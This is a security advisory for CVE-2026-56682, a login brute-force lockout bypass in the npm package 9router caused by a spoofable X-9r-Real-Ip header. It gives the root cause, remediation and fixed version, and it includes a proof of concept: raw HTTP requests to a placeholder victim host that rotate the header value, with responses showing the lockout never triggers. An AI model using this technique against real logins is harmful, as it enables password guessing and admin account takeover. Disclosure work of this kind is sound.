CVE-2026-56682 is a medium-severity (CVSS 5.3) CWE-307 vulnerability in 9router. A fix is available for 9router — see the affected versions and patch details below.
9Router: Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-56682.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-56682 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
9routernpmDescription
Summary
9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.
Affected Component
src/lib/auth/loginLimiter.jsgetClientIp()— derives the rate-limit bucket key from the client-suppliedX-9r-Real-IpheadercheckLock()/recordFail()— per-IP progressive lockout (MAX_FAILS_BEFORE_LOCK = 5)
src/app/api/auth/login/route.js— login endpoint protected by the above limiter
Root Cause
The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. getClientIp() returns the value of X-9r-Real-Ip directly. The design assumes this header is produced and sanitized only by the trusted custom-server.js wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:
Untrusted Client Input
↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
↓
getClientIp() → distinct bucket per request
↓
recordFail()/checkLock() → threshold (5) never reached
↓
unlimited 401 attempts, no 429 lockout
Attack Scenario
-
The instance is deployed in a mode that does not use
custom-server.js, and the login endpoint is reachable by the attacker (the default bind is0.0.0.0). -
The attacker submits password guesses to
POST /api/auth/login, setting a differentX-9r-Real-Ipvalue on each request (e.g.,10.0.0.1,10.0.0.2, ...). -
Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns
429. -
The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.
Proof of Concept
Baseline — fixed header value (lockout enforced)
Repeated POST /api/auth/login with a constant X-9r-Real-Ip: 9.9.9.9 and body {"password":"wrong"}:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses (sequential):
#1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
#2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}
#3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}
#4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}
#5 → 429 Retry-After: 30
{"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
Exploit — rotated header value (lockout bypassed)
Same request and body, but a different X-9r-Real-Ip per request, sent while 9.9.9.9 was already locked:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses:
X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
<img width="1211" height="814" alt="Screenshot 2026-06-19 183338" src="https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64" />
<img width="1208" height="816" alt="Screenshot 2026-06-19 183408" src="https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c" />
Every rotated value resets to "4 attempt(s) left" and never returns 429, demonstrating unbounded guessing.
Impact
The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (0.0.0.0) and the existence of a default dashboard password, both of which lower the effort required to succeed.
Remediation
- Do not derive the rate-limit key from a client-controllable header. Base
getClientIp()on the transport-level peer address (req.socket.remoteAddress) for the limiter bucket. - Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
- If
custom-server.jsis required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-suppliedX-9r-*headers at the edge before they reach the limiter. - Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | 9router | all versions | 0.5.8npm install 9router@0.5.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update 9router to 0.5.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56682 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-56682 in your dependencies?
Find it across npm, including transitive dependencies.